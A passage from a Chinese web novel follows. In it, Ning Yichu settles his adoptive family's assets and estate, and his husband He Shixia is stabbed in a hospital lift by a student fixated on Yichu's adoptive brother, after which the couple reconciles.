而是说宁家如今支离破碎、基本没人可用了,有关康宁和他们手里其他资产的事想跟宁衣初聊聊。 这宁衣初还是很有兴趣的,所以打算今天看完即将入住的新家,就去看守所轮流见见那夫妻俩。 新家的装修,宁衣初之前看过贺适瑕给他的照片资料了,当时就很喜欢,现在亲自看过更觉得满意。布置方面,贺适瑕安排人做大扫除时,也让人把比较不符合宁衣初喜好的软装给清了出去,现在换了不少新的。 “还是需要请佣人来做饭和日常打扫,”贺适瑕一边带着宁衣初在房子里闲逛,一边说起,“今天回去我就开始帮你收拾行李,再让人介绍几个靠谱有资历的佣人给你挑一下,好吗?” 宁衣初点了点头,突然觉得要是有贺适瑕这么个“管家”在家也很不错……不过这话就不跟贺适瑕说了,免得他顺杆往上爬。 两人在室内楼上楼下逛完,才出门来到院子里,贺适瑕指了指墙角的狗屋:“虽然你还没想好要养什么狗,但中型犬反正体型差不多就那样,我就先帮你选了个狗屋,里面养狗的日常用品也都先准备了一份。” 宁衣初扫了眼那狗屋,再打量下贺适瑕。 贺适瑕对上他的目光,忍不住随口胡扯:“放心吧,阿宁,这狗屋藏不下我,我没法私闯民宅藏在里面突然冒出来吓你一跳。” “……”宁衣初木然,“你可能真的需要一条狗链,巨型犬用的那种。” 贺适瑕忍俊不禁。 宁衣初又问起来:“对了,离婚协议呢?这边房子既然已经可以搬了,那离婚的事就别再拖了,我都不知道你拖着有什么意义。” 贺适瑕立刻收敛了笑容,一本正经道:“暂时还搬不了呢,要把你在贺家的行李收拾了,搬过来后再归置好,还要请靠谱的佣人,很费时间的,而且你不是还要把宁家的事彻底收尾吗,我们俩都慢慢忙啊,阿宁别急。” 宁衣初挑了下眉:“你现在编理由真是越来越敷衍了。” “其实我还真正儿八经想了一个拖延理由。”贺适瑕又笑起来,“阿宁,我看了下你给我的那份离婚协议的条款,你什么都不跟我要吗?” 宁衣初好整以暇地靠在门边:“你现在跟穷光蛋无异,你别找我要分共同财产我就谢谢你了,贺六公子。” “一贫如洗”的贺六公子很镇定:“但是这辈子你最开始跟我提离婚的时候说过,要我用钱补偿你的,这部分补偿金还是得要的吧。” 宁衣初眨了眨眼:“虽然我觉得你之前把你的所有资产都给我,就已经等同于付了补偿金了,以及我现在真的不缺钱,但……如果你坚持要再给我钱的话,我好像也没有拒绝的理由,所以你打算给我多少?” 贺适瑕轻咳了声:“我最近一个月没怎么工作,也就跟你一起上了个节目有笔片酬,还有贺家信托基金新一个月给的生活费,以及我过去出演的分红性质的作品,刚好有几部在这个月结算了一下过去几个月新增的收入,林林总总算下来,除掉税金,我现在手里也就两千万不到的样子。” 听完最后一句,宁衣初:“……” 虽然宁衣初现在手里的资产是个天文数字,两千万和他名下别的资产相比不值一提,但他心态上还没调整过来,反正没到贺适瑕这样能用“也就”来形容两千万的地步。 宁衣初无言以对:“那就把你这‘也就’不到两千万给我当补偿金吧……话说你真的没有参与洗钱吗,一个月就有两千万了?” 贺适瑕忍俊不禁:“这不是主要有个节目片酬吗,贺适瑕半个月的时间换这点钱,还是节目组赚了。” 虽然宁衣初和贺适瑕是一起上的节目,但节目组打片酬是打到他们各自的账户里,分开的,宁衣初收到了自己那部分,之前倒没关心过贺适瑕有多少,但现在这么一听,贺适瑕的片酬得是他的好几倍。 虽然按嘉宾咖位来说这非常正常,但宁衣初心理不平衡了,就要计较:“我也付出了半个月,节目组给我的片酬才没有这么多,不行,你得把你的片酬分给我一半,剩下的才算是你给我的补偿金。” 虽然结果是一样的,但名义不一样。 贺适瑕莞尔:“好,把片酬都给你……可是这点补偿金会不会太少了,阿宁?” 宁衣初看着非要给他塞钱的贺适瑕,好整以暇地反问:“那怎么办,谁让你这么没用,一个月才攒了不到两千万,我只好勉强接受这丁点补偿金了,不然还能让你去卖肾不成?” 贺适瑕一本正经:“卖肾当然不成,但如果你愿意暂时不离婚,再陪我维持三年的婚姻关系,我保证把补偿金给你翻十倍,好不好?” 宁衣初:“……” 他被逗得有点想笑,但强行忍住了,摆出一副面无表情提醒贺适瑕:“我记得你答应过我的,就算离了婚你赚的钱也全归我,也就是说,不陪你维持婚姻关系也不妨碍你给我钱,你想反悔吗?” 贺适瑕摇头,郑重道:“当然不是。但是,阿宁,如果离了婚,我的大众口碑会下跌,我的心态会堕落,很影响我的商业价值和工作状态,到时候我就赚不到什么钱给你了,你陪我保持已婚状态,我就会积极赚钱,虽然你不缺钱了,但不要和两千万的十倍过不去嘛,考虑一下?” 贺适瑕这理直气壮的推销词,确实比推销他自己的肉|体时要流利很多。 宁衣初哑然:“……你还是先帮我搬家吧,你们贺家下楼吃个饭都要走老半天,累死了。” 贺适瑕唇角上扬,也没追着离婚的话题继续说,从善如流道:“等我妈把贺家交给我了,我就把老宅推了按你的心意重建,好不好?” 宁衣初:“……你可真是你们贺家的孝子贤孙。” 锁上门,他们回到车上,出发前往看守所,宁绍仁和韩文华各自的律师都在外面等他。 看守所分了男监区和女监区,宁绍仁和韩文华都要见宁衣初,但他们不便走动,宁衣初只好在律师的陪同下,宽容地跑了两个不同的地方。 因为康宁还是宁绍仁在做主,宁衣初对这件事兴趣比较大,所以他先见了宁绍仁,并且一开始就提醒他:“不要说废话,我们也没有旧可以叙,麻烦公事公办一点。” 宁绍仁右手截肢,只能用非惯用手的左手别扭地拿着话筒,隔着对话玻璃看过去,宁绍仁显然短时间内大受打击,本来就六十岁的人了,原本有金钱作为保养,他看上去比同龄人年轻许多,现在倒是苍老得和同龄人差不多了。 截肢加上在看守所这些天,宁绍仁也确实老实了不少,听到宁衣初不客气的话也没暴跳如雷,而是真一板一眼地直入正题:“我听律师说过了,贺维安把她手里的康宁股份也给了你,加上我之前给你的百分之五,你手里已经有百分之三十四的股份了,康宁已经是你说了算了……” “既然如此,我也不做无用功了,我已经让律师拟合同了,我会把我手里的康宁股份也给你。” “反正宁家如今这样子,也没什么可托付的人,既然我手里留不住,那给谁都一样,给你的话,我好歹还能说服自己这是过去对你不好的报应。” “而且连宁家这边的康宁股份也都给你了的话,以后康宁你当家作主,没有宁家人会再碍你的眼,你也就不用再对康宁下手了吧……我作为宁家这一代的家主,没让康宁继续向上发展,但只要没让康宁因为我毁了,我以后死了也就还有脸见列祖列宗……” 宁绍仁说着想要抹一把脸,奈何唯一能用的手拿着话筒,实在有心无力,他只好尴尬地放下准备抬起的右胳膊,继续说:“除了康宁之外,我手里还有点别的资产,我估计是出不去了,但则棋还有希望……他出去的时候也一把年纪了,坐完牢也算是赎了罪了,你给他一点生路,让我留点东西给他养老吧,行吗,小初?” 正如宁则棋自己心知肚明的,宁绍仁和韩文华再因为他做过的事说过的话生气,也没想过放弃他、更对他没有坏心,这算是宁绍仁和韩文华虚伪人生里难得的真心了。 不过,这份“慈父”心肠的前提是,宁则棋过去犯过再多错,也没有害到过自家人,而宁则书这次车上“胡闹”,算是他们重伤的直接凶手,宁绍仁显然并不打算原谅他,也就没有在交代后事似的情况下为宁则书的未来打算的意思。 韩文华倒是有考虑到宁则书。 “我跟宁绍仁通过律师互相沟通过了,他要把康宁给你,我们作为这么多年的夫妻、利益捆绑太深,这件事也得我签字同意,我同意了。”韩文华也短短时间老迈了不少。 她看着宁衣初,接着说:“我听说……小书的眼睛受伤了,以后看不清楚东西了……唉,宁绍仁肯定有考虑到则棋,我就不为他考虑了,小书这孩子……这些天我想过了,我们如今会走到这个地步,确实也是自作孽,小书会长成这样,也是我们当年牵累了他……” “小初,我们最对不起的就是你,我手里剩下的资产,你要是不嫌弃,就也都给你,但你看着分给小书一点,好不好?他眼睛受伤了,以后养活不了自己……” 按常理来说,光脚的不怕穿鞋的,如今反正没什么可顾虑的宁绍仁和韩文华应该会更加肆无忌惮才对。 但或许是从前肆无忌惮太过,如今突逢巨变——出车祸被截肢,高空坠落入江中加上溺水,两个本来就年过半百甚至要六十了的人从此身体素质也大不如前,又将要面对余生都失去自由的下场——不论是宁绍仁还是韩文华都像是被抽走了嘴硬狡辩的能力,过去格外张扬的两人在宁衣初面前甚至有些畏缩了,现在对他说话格外小心。 宁衣初看着这变化,觉得还挺有意思的。 除此之外,宁衣初还听宁绍仁和韩文华的律师说,韩文华向宁绍仁提起了离婚。 宁绍仁并非一个合格的丈夫,韩文华早就心有不满,尤其是得知宁绍仁早年出轨、这么多年他的私生子都在自己眼皮子底下后,韩文华更是想到了离婚。但两人结婚多年,利益捆绑太深,又年纪大了,所以此前韩文华顺台阶下了,即便争执不休时再说起这件事,也没动过真要离婚的念头。 但如今这个地步,资产都有了去处,也谈不上需要顾虑利益捆绑了,韩文华坚持离婚,宁绍仁拒绝了两次,第三次在会面律师时同意了。 律师跟宁衣初说完了这件事,又道:“不过宁总您放心,您的养父母都说要等资产清算完毕、该过户给您的都完成了,再办理离婚手续,免得离婚在前徒生些麻烦。” 宁衣初点了点头:“那麻烦等资产过户完毕后,在他们离婚之前,先跟我办一下解除收养关系的手续吧。” 宁家的财产,他要。宁家人的身份,他不要。怎么不算两全其美呢? 韩文华都要跟宁绍仁离婚了,才懒得管康宁以后的掌舵人是不是他们宁家人,被律师转告了宁衣初这个要求后,没犹豫就答应了。 宁绍仁倒是陷入了点“要把康宁交给完完全全的外人了”的纠结,但很快也点了头,毕竟他现在并没有别的跟宁衣初掰手腕的筹码了,还希望宁衣初真的能把其他资产好好留给宁则棋、而不是在宁则棋出狱前毁掉,他也是真的不敢再招惹宁衣初了,所以只能安慰自己反正宁衣初的姓氏也是宁,以后谁知道康宁改换门庭了呢? 宁衣初结束看守所探视的第三天,和宁绍仁、韩文华在资产方面的合同签署完毕。 也是这一天,医院里的宁则书终于醒了。 医院那边传来消息,说医生给宁则书的眼睛做了检查,确实受伤严重,现在的视力也就比彻底瞎了好一点,能模模糊糊看见点东西,一般的高度数眼镜和眼角膜移植手术都没用,因为宁则书是视网膜受损,而现行医学水平尚且无法进行视网膜的移植治疗。 宁则书得知这个结果,反应居然很平淡,只是问了宁则棋那三人当下的情况,然后说他想要见宁衣初。 “我倒是真成香饽饽了。”宁衣初对此笑了下,然后说,“不去——暂时不去,等把宁家的资产交接完毕,我再去,也算是见他最后一次,现在去我又没什么可跟他说的。” 贺适瑕在慢腾腾地帮宁衣初打包行李,他的东西其实不多,最多的还是贺适瑕在上节目之前突发奇想叫人给他送来、填满了整个衣帽间的那些衣服,宁衣初压根都还没穿过两件。 “那等把这些事都完全了清了,再搬去新家好不好?”贺适瑕见缝插针地拖延起来,毕竟宁衣初还没答应他暂时不离婚的请求。 宁衣初挑了下眉:“好啊,我也不想搬去新家了还要处理过去的事,但你什么时候把离婚证给我?” 贺适瑕一本正经地考虑:“你说我办个假证能骗过你吗?” 宁衣初:“……随便啊,我拿着假证去找新欢的时候,你忍着别说我在出轨就行。” 贺适瑕被噎了噎,然后又自我开解道:“新欢对照着旧爱,阿宁,原来我可以是你的旧爱吗?” 宁衣初佩服他的乐观:“你可以是我的前夫——闭嘴,赶紧收拾我的行李,一件衣服你叠来叠去半个小时才往行李箱里放,你属乌龟还是蜗牛?” 贺适瑕莞尔:“反正我现在还属你的丈夫。” 宁衣初扭头往外走,不想再听他耍无赖了。 又过了三天,和宁家的资产交接完成,宁衣初腹部的伤口也掉痂,只留下一道细微、象征着往事确实存在过,但并不会再伤害到宁衣初、也不会让他再为此耗费心神的手术疤痕。 第二天,宁衣初和宁绍仁、韩文华的收养关系也顺利解除了。 就剩下坚持要见宁衣初的宁则书了。 在去医院见宁则书之前,宁衣初还去了一趟宁家的老宅。 宁家现在除了群龙无首的佣人们之外,已经没有当家作主的人了。 早就和宁老爷子离了婚、但过去长住在宁家的柳双,在前段时间儿女相继出事后,已经搬走了。 此外如今还能自由活动的宁安冬,也在得知宁绍仁他们一家四口出了严重车祸的第二天,就打包上要紧的行李离开宁家投奔她亲妈于涟涟去了,虽然她这个妈也不靠谱,但两个人好歹能抱个团、也不用怕她妈害她。 从宁安冬这个反应来看,宁衣初合理怀疑她可能是觉得宁绍仁他们的车祸是他宁衣初人为安排的,所以宁安冬惜命地马不停蹄跑了。 宁家就剩下些战战兢兢的佣人,看到宁衣初回来了,有人欢喜有人愁,欢喜在于好歹有个能做主的了,愁在于大多数佣人以前对宁衣初这个养少爷也是看人下菜碟、明里暗里都挺颐指气使甚至故意膈应他的,佣人们看着宁家主家们的下场,有点怕宁衣初不放过自己。 宁衣初也懒得多说,到了宁家后就开始解雇,开除了大半的佣人——当然是以前在没必要、没被宁家人盯着的情形下,都主动选择了踩他这个养子一脚的那些。 宁衣初没打算对他们做更多事,但也不想留他们在以后就属于自己的房产里。 也剩下了少部分佣人——这部分愿意走的也可以走,离职补偿按法律规定的开除补偿发放,不打算走还愿意继续留在宁家的就留着,反正这么大处地方也确实需要人日常维护,而且佣人总数少了,省下的这部分工资支出可以用来提升剩下这部分佣人的月薪。 其中,宁家之前的两个管家都被开除了,宁衣初单独叫了曾经照顾过他、前段时间还帮他盯着宁家人动向的老佣人,把新管家的位子交给了她,还额外给了她一张支票。 新管家连忙推拒,宁衣初坚持道:“不然我会觉得亏欠了您。您年纪也大了,就把这笔钱当养老备用的吧。” 新管家这才不好意思地收下来,又问道:“那小初少爷您……是不是不会回来住了?” 宁衣初笑了笑:“嗯,不回来了,这里我住着不会开心,而且……我有别的安排。” 离开宁家后,还是贺适瑕开车,陪着宁衣初去医院,准备见过宁则书最后一面,从此就跟宁家人彻底了断了。 但即将到达医院之际,宁衣初收到院方的通知,表示宁则书刚出了点意外——被人捅伤了,不过不致命。 警方也已经到了,宁衣初抵达之后,正好知道了来龙去脉。 先前这一家四口出车祸后,宁衣初除了报警之外,也按原定计划把那晚“清算复盘”的视频的关键段公开了,引起了舆论上的轩然大波。 随着宁则棋、宁绍仁和韩文华因为其他板上钉钉的罪行被捕,网友们又热议了好几天,如今因为没有新动向,这两天其实舆论热度已经平缓下来。 但事情在有的人心里还没有过去……例如当年宁则棋导致的茶室意外失火案件中,不幸死在火灾里的服务生家属。 其中一个服务生父母早亡,和奶奶相依为命,服务生离世之后,就剩下奶奶了。如今十七年过去,老太太已经八十多岁,她本来以为孙子的离世是纯粹意外,但没想到这里面还有人为对案情的遮掩,一怒之下想要报复。 宁家一家四口的车祸导致跨江大桥都封锁了几天,网上关于他们车祸的讨论很多,还有狗仔曝光了他们住的医院,几个人的长相更不是什么秘密,老太太好不容易搜集完信息,就揣着刀来了医院。 但罪魁祸首宁则棋已经被捕,为他掩盖罪行的帮凶父母也都不在医院了,老太太只找到了宁则书,想到网上说这是最受宠爱的小儿子,于是一时冲动就拿着刀捅了过去。 宁则书如今眼睛不好,很少出病房,今天是提前收到了通知、知道宁衣初会过来,所以忍不住走出病房在走廊里打望,没想到正好被老太太看到,而他虽然四肢健全,但如今的视力已经不足以让他察觉到危险并顺利躲避,所以老太太那刀捅到了人。 但老太太遵纪守法一辈子,冲动行凶后,在刀子没入的一瞬间就手抖、捅不下去了,所以宁则书伤势倒不严重,护士给他清理包扎了一番。 警方也挺为难,老太太八十多了,不是还能依法坐牢的年纪,但有目的地携带凶器进入公共场合捅伤了人,也不是小事。好在宁则书得知缘由后,选择了不追究,于是警方带走了老太太,准备好好谈话教育一番,然后把人送回家。 “他们走了?”宁则书看着病房里模糊的身影,有些虚弱地问道。 宁衣初站在门口,目光平静地看着宁则书:“走了。你之前一直想见我,有什么想说的吗?” 宁则书苦笑,先抱怨道:“老太太手劲儿还挺重,疼死我了,明明是宁则棋他们干的事,让我倒霉受过,难道是我害他们出车祸的报应?可我觉得车祸这件事也是他们活该,谁让他们非要刺激我,还想送我去不知道哪个鬼地方‘留学’……” 抱怨完了,宁则书又长叹了声:“算了,算我的报应……小初,你可算来看我了,我想见你其实也没什么事,好像也没什么话可说的,说来说去都是些废话,你也不乐意听……我就是觉得你好歹来看我一眼呢,虽然我现在看不清你了,但总要走个流程才圆满嘛。听说康宁现在是你的了?恭喜啊。” 宁衣初也不打算浪费时间闲扯了,直接道:“康宁现在是我的了,宁家的老宅也是我的,不过宁绍仁还有点别的资产,说要留给宁则棋,暂时由我代管,韩文华托我给你生活费。” 宁则书笑道:“看我这亲爹,这时候都还偏心眼呢,那我希望你帮宁则棋把那些资产败光算了,让他出狱后喝西北风去。” 宁衣初没回他,继续道:“你不是一直想要宁家吗,那以后就待在宁家的老宅里好了,你妈留下的别的资产产生的利润,会是你的生活费,要是哪天被我败光了,你就喝西北风。” 闻言,宁则书愣住,他无法聚焦的眼睛看着宁衣初:“你……让我待在宁家?” 宁衣初准备走了:“通知完了,我走了,以后不会见你了,你自便吧。” 宁则书苦笑:“居然不让我流浪街头,还把宁家老宅给我住,管我生活费……小初啊,你还是没学到宁家人的狠毒。” 宁衣初嫌弃道:“学那种恶心的东西干什么。” 他转身离开,贺适瑕跟上他的脚步,随手关上了病房门。 宁则书听着关门声,看着再没其他人影的病房,突然开始笑,笑着笑着又哭出声来。 一门之隔的走廊上,刚从角落拐出来的年轻男人听着里面的哭笑声,看向宁衣初和贺适瑕背影刚刚消失的方向,握紧了手里的刀,快步追了过去—— 作者有话说:不出意外下章就正文完结啦,然后会无缝衔接番外继续日六[猫爪]虽然很想休息一天但月底了不忍放弃全勤……我可以!《 》 【正文完】 第60章 第 60 章 暖房“通假…… 宁衣初和贺适瑕等到电梯, 走进去后按下了地下停车场的楼层号。 电梯门即将闭合之际,一只手突然危险地直接插进缝隙、抓住了一侧的电梯门,电梯门感应到障碍物, 重新向两边打开。 宁衣初和贺适瑕看出去, 一个戴着鸭舌帽的年轻男人单手插着兜, 脑门有点汗地走了进来,然后像是挺着急的, 刚才不顾危险抓电梯门也要搭这一趟,现在又站在电梯按钮前很用力地连续按关门键。 因为这人站在前面、背对着宁衣初和贺适瑕, 所以他们看不见他的表情, 只能从他的动作看出来他应该并没有按其他楼层。 虽然觉得这人状态有点不寻常,但医院里这样匆匆忙忙又紧绷的人也不算少见, 所以宁衣初和贺适瑕并没有太警惕。 因为是工作日的午后,他们电梯一路下楼, 都再没有中途停过, 直接来到了地下停车场楼层。 门开后,站在前面的鸭舌帽男一边把插在衣服口袋里的手往外拿,一边若无其事地率先往外走。 宁衣初和贺适瑕落后一点,也抬脚前去, 但还没走出电梯, 就意识到了危险——鸭舌帽男还没往前走几步, 就毫无征兆地突然转身往回奔, 同时他的手掏了出来,那手上赫然拿着一把折叠刀, 一甩就亮出了锋利的刀刃,在锃亮的电梯壁上反射出紧迫的光。 因为此前没有察觉危险,宁衣初和贺适瑕本来也在往外走, 这下和鸭舌帽男的距离迅速就拉近了,看鸭舌帽男手势的偏向,分明是想要对宁衣初下手! 宁衣初往后退避闪躲,但电梯厢内就这么大块地方,根本躲不到哪里去。贺适瑕见状,下意识地挡到宁衣初身前,死马当活马医地一脚朝鸭舌帽男踹过去。 踹倒是踹到了,但折叠刀离得实在太近,鸭舌帽男也不要命似的往前扑,这一刀还是完全没留手地先捅进了贺适瑕腹部,而且随着鸭舌帽男被踹开,刀子又被拔了出去,鲜红的血很快顺着伤口和衣服破损的边缘流淌出来,贺适瑕脸色霎时白了不少。 宁衣初被他严严实实护在身后,看不见他的面色,但是听到了贺适瑕被捅到后闷哼的一声,还有很快滴落到电梯厢地面上的血珠…… “贺适瑕……”宁衣初手抖了一下。 “没事,阿宁,别怕。”贺适瑕安抚道,又强撑着暂且不去理腹部的刀口,往前走了几步。 行凶的鸭舌帽男刚刚被一脚踹到了电梯门口,现在正撑着电梯门要站起来,那手里还紧紧攥着那沾了血的折叠刀,贺适瑕需要赶在他完全站起来之前,把他制服住。 鸭舌帽男一手捂着被踹得不轻的肚子,刚站起来一半,就又被贺适瑕踹倒了,往电梯外面又移出去了点。 但贺适瑕动作幅度太大,腹部伤口在初伤基础上又崩裂了些,血色浸透得更快,宁衣初看着原本还只是滴答滴答往下落的血珠变成了几乎不间断的连串,嗅着越发浓稠的血腥味,向来素白的脸色更加不见血色。 宁衣初见贺适瑕俯身去控制鸭舌帽男的手、想要把折叠刀抢过来,也下意识往前走了两步,踩在了贺适瑕的血上,这让他陡然回过神,连忙趁着现在能碰到电梯门旁边的按钮了,先按下了警报按钮。 “我要杀了你!杀了你们!宁衣初!”鸭舌帽男死死攥着折叠刀不放,看不清就随便捅,侧面刀刃正好划过贺适瑕的手腕,又一道口子往外渗血,很快就让贺适瑕的手掌都变得打滑。 短时间内急速失血,贺适瑕有些头昏眼花起来,但顾虑到身后的宁衣初,他不敢松懈,既然刀一时抢不过来,他就想把鸭舌帽男完全拖离电梯口,这样电梯门就能关上,宁衣初就安全了。 “阿宁……你先走……”贺适瑕拽着鸭舌帽男往外拖,也不管刀子的走向了,反正没有往宁衣初身上去就行。 但鸭舌帽男的腿还有一小截在电梯里时,贺适瑕余光里看见宁衣初迈出了电梯:“……阿宁!” 宁衣初在电梯里就看见了,外面电梯厅的墙角放着几瓶灭火器。 他快步走过去,拿过一瓶灭火器就回到贺适瑕和鸭舌帽男厮打的地方,然后看准目标就朝鸭舌帽男砸了下去。 鸭舌帽男这下真吃痛了,手上一松,折叠刀落了地,宁衣初见他还在挣扎,连忙又砸了一下,这次鸭舌帽男昏过去了。 贺适瑕惨白着脸松了口气,宁衣初把灭火器放下,先以防万一地把折叠刀捡了起来,然后看向贺适瑕。 秋末初冬,贺适瑕穿的衣服也不单薄了,但血色还是已经把他腹部的衣服浸红了大片,他手腕上也还在冒血珠,整只左手都像是泡在了血水里,看得人心惊。 第一次遇到这种状况,宁衣初的声音和手都有点发抖:“……没事,这里是医院……” 贺适瑕也想让他放心,但刚站起身,就撑不住力气地往后跌坐下去,只能从唇缝里喊了声:“阿宁……” “贺适瑕!”宁衣初感觉自己有些呼吸不上来了,他连忙又去按电梯里的紧急按钮,也是这时才注意到紧急通话已经通了、没有断开。 通话那头医院的人也很紧张:“我们刚通过监控已经看到情况了,已经让急救人员下去了,你们放心,很快就到!很快就到!” 宁衣初便蹲到了贺适瑕旁边,见他眼睛都半阖了,忍不住手指有点颤抖地去探他的呼吸。 贺适瑕感觉到宁衣初的不安,勉力睁开眼,笑了下,声音发着飘:“没事,祸害遗千年……其实这么死了,也比……上次幸运了,上次只能看着你的照片,这次……居然可以看到活生生的你……” 上辈子贺适瑕就是因为被捅伤后失血过多、失救而死,当时宁则书的暗恋者捅完后还抢走了贺适瑕的手机避免他求救,贺适瑕是靠在宁衣初的墓碑上咽气的,死前看着的是宁衣初的遗照。 宁衣初咬了咬牙:“你这次确实比上次幸运多了,就在医院,死不了……不许死,你这个死因,想让我以后想起你都觉得膈应吗……” 贺适瑕又笑了下:“好,不死……阿宁,别哭……” 宁衣初眨了眨眼,这才发现自己居然在落泪。 贺适瑕勉强靠在电梯旁边的墙上,几乎要滑倒躺到地上去,宁衣初不知不觉间已经从蹲变成了跪坐在他身边,衣服和手上都沾了贺适瑕的血。 泪珠顺着宁衣初的脸颊滑下,滴落在了贺适瑕的脸上。 贺适瑕还想再看看宁衣初,但眼皮实在沉重,他强撑着最后喊了声:“阿宁……” 然后失去了意识。 宁衣初隔着眼前的水雾,看着贺适瑕闭上眼睛,再次抬起手,颤抖地去探贺适瑕的鼻息。 “贺适瑕……” 宁衣初想,他好像有点习惯贺适瑕总如影随形地待在他身边了。 虽然这家伙有时候说话很烦人。 …… 医院的人很快来到停车场的这个电梯间,将贺适瑕送往手术室,见宁衣初身上也有血,忙不迭问他有没有受伤,即便宁衣初说没有,但由于他脸色实在太苍白,所以护士还是帮他检查了一下,确定没事才放他去手术室外等候。 至于行凶的鸭舌帽男,也被医院的保安制服住,报警等警察来了。 这期间有其他来往医院的病人和家属经过,加上贺适瑕被推往手术室一路上也不可能专门避开人群,宁衣初也身上带血地跟在旁边,总之很快这个案子就传开了。 在网上血雨腥风地讨论中,贺维安和唐青山匆匆赶到医院,文瑾、宣络和文慎三人看到消息也不请自来了。 后三人来到医院时,贺适瑕已经从手术室里出来了,虽然伤势有点重且失血过多,但幸好抢救及时,并没有生命危险,只是得养一段时间的伤了。 宁衣初这才松了口气,然后朝病房方向走了两步,接着身体一软昏了过去。 “衣初!” “小初!” 宁衣初醒过来的时候,身上带血的外衣已经被护士帮忙脱了下来,手上的血也被擦干净了,他有些疲倦地侧了侧头,看到了隔壁病床上穿着病号服的贺适瑕。 出乎他意料的是,贺适瑕虽然脸色惨白地躺在病床上输液、不能动,但居然已经在他之前醒过来了。 “阿宁。”贺适瑕看到宁衣初睁开眼,对他笑了笑。 宁衣初眨了下眼,好一阵没说话。 见状,贺适瑕担心起来:“阿宁,你没事吧?” 宁衣初慢腾腾坐起身:“你什么时候醒的,我睡了多久了?” “三个小时前醒的,昨天午后出的事,现在已经是第二天上午了。”贺适瑕试图让自己看上去精神好一些,又逗宁衣初说,“是不是昨天我一身血吓着你了,你以后看到我就做噩梦可怎么办,那不是更不要我了。” 宁衣初若无其事轻描淡写地回:“应该不用太担心……人总不能为了争一口气就连钱都不要了。” 贺适瑕微微一顿。 他看着宁衣初当下的神态,有点担心是自己自作多情理解错了,所以确认的声音都放轻了很多:“……阿宁?” 宁衣初歪了下头:“你说的,三年给我翻十倍,凑个整算两个亿吧,少了一分钱都惟你是问。” 这瞬间,贺适瑕突然觉得,自己不用装精神好了,他现在就是精神十足,一股充沛的力量从心脏往四肢百骸蔓延,要不是现在还动不得,他简直想抱着宁衣初去跑个马拉松宣泄一下高涨的情绪。 “好!”贺适瑕心旷神怡道。 他看着宁衣初,一秒都等不了地给点阳光就灿烂:“阿宁……嘶,我现在肚子有个洞不敢动,你能来亲我一下吗?” 宁衣初:“……” 他无言以对片刻,然后一边下床一边说:“‘肚子有个洞’,贺影帝,幸亏你不是编剧,不然以你这措辞能力,能把观众都赶跑。” 贺适瑕目录期待地看着宁衣初走动,然后他就看到宁衣初只是去倒了杯水,又回到床边坐下来慢慢喝了。 贺适瑕默了默,决定装虚弱:“阿宁……” 宁衣初摸着水杯看着他,好整以暇道:“老实点吧你。” 贺适瑕还想争取一下,但这时病房房门被推开了,来的是贺维安、唐青山,还有文慎、文瑾和宣络,五个人一块儿出现的。 他们知道贺适瑕已经醒了,但不知道宁衣初也醒了,所以没敲门直接进的,进门的时候动静很小,直到看到宁衣初坐着。 文瑾松了口气,忙道:“衣初,我们带了点吃的来,你睡了大半天了,饿了吧,要不要吃点东西?” “放着吧,他们饿了自己看着办。”贺维安说道,然后直入正题,“都醒了就行,反正没生命危险,也就不说那些矫情话了。昨天那个凶手被抓了之后,原本不肯开口招供,但警方调查了医院里的监控,发现他早在几天前就已经在医院里晃荡,而且都是在宁则书的病房附近。昨天对你们行凶之前,他也是在宁则书的病房门口先停了一下,然后才去追你们的……” 这段时间下来,警方也是了解宁家那些烂事了,查到这部分后便合理怀疑这件事和宁则书有关,甚至会不会是宁则书指使的人行凶。 听到这个猜测,宁衣初不慌不忙插了句话:“应该跟宁则书没关系,他跟宁家其他人比起来,确实相对没那么丧心病狂,又或者是胆子没那么大,不会去踩违法犯罪那条红线,顶多就是线内折腾。” 贺适瑕有点想拈酸吃醋,本来想说“阿宁倒是挺了解那个宁则书”,但出口之前又觉得这话好像有点耳熟,之前在录节目期间他也说过,结果被宁衣初回了句“你要是被按头对比了十几年,你也了解”……当然了,当时宁衣初就是想怼他,不想顺着他酸里酸气的话调情,其实没有被贺适瑕那话触怒的意思。 但贺适瑕如今想起来了,就不想再酸一遍同样的话了,于是默默把话咽了下去,只颇有点眼巴巴地把宁衣初看着。 宁衣初也看了他一眼,似有若无地笑了下。 贺维安当没看见他俩眉眼间的官司,继续道:“警方那边也说,虽然方南……方南就是昨天行凶的那人,虽然他一直在宁则书病房附近转悠,但一直尽量避着人,也没跟宁则书有过交流,所以虽然怀疑过宁则书,但也是正常破案流程罢了。” 但方南得知警方怀疑上了宁则书之后,一改之前闭口不言的作派,老老实实接受审讯招了供。 方南说,他确实是为了宁则书才想要杀掉宁衣初,但这件事不是宁则书指使他的,宁则书很有可能根本不记得他了,因为他只是和宁则书有过几面之缘的大学校友而已。 据方南说,他是武术体育生,性格一直比较内向,除了会点武术散打之外不论是文化课还是为人处事都很差劲,大学时期也没什么朋友,偶然在学校活动中认识了宁则书,因为宁则书为人天真烂漫又友善可亲,所以方南喜欢上了宁则书,但因为觉得自己配不上他,于是一直都只是暗恋。 最近看到网上对宁则书的谩骂,方南为他打抱不平、觉得他很委屈,又知道了宁则书车祸的事,就想来探望他,但又怂、不敢真的出现在宁则书面前。 昨天上午那老太太捅伤了宁则书,方南当时就在不远处的角落里看着,如果他当时及时过去,其实是来得及阻止老太太、救下宁则书的。但方南因为不敢出现在宁则书面前,犹豫了,所以宁则书被老太太捅伤了。 方南因此非常内疚,就想到也去买一把刀给宁则书防身,回到宁则书病房所在楼层的时候,他看到宁衣初和贺适瑕走进了宁则书的病房。 因为病房房门没关,当时宁衣初和贺适瑕又都站在门口附近没往里走动,所以当时宁衣初和宁则书之间的对话,方南都听到了。 宁衣初他们离开后,方南在外面听着宁则书的哭声,突然“英雄”精神发作,决定要为宁则书讨回公道以及失去的一切——方南坚持认为宁则书走到如今的境地,罪魁祸首就是宁衣初,把他杀了能给宁则书出气,而且宁衣初死了,说不定宁家那些财产就能回到宁则书手上。 但追进电梯后,方南揣着刀还是犹豫了,直到准备走出电梯了,方南觉得自己不能再怂了,于是开始了行凶。 听完来龙去脉,贺适瑕对宁衣初道:“难怪他那么难制服,原来是学武术散打的。而且他突然亮刀,电梯里又不好躲避,才让他得逞了第一刀,导致我有些脱力……” 宁衣初无可奈何道:“行了,知道不是你弱了。” 贺适瑕笑眯眯道:“也幸好阿宁你当机立断,拿灭火器把他砸晕了,不然的话我再跟他缠斗一会儿,还真说不定会怎么样呢,这么说起来你是我的救命恩人,我果然得以身相许。” 宁衣初:“……” 病房里还没走的贺维安五人:“……” 贺维安咳嗽了声:“不打算离婚了?” 贺适瑕愉快道:“阿宁决定再给我一次机会。” 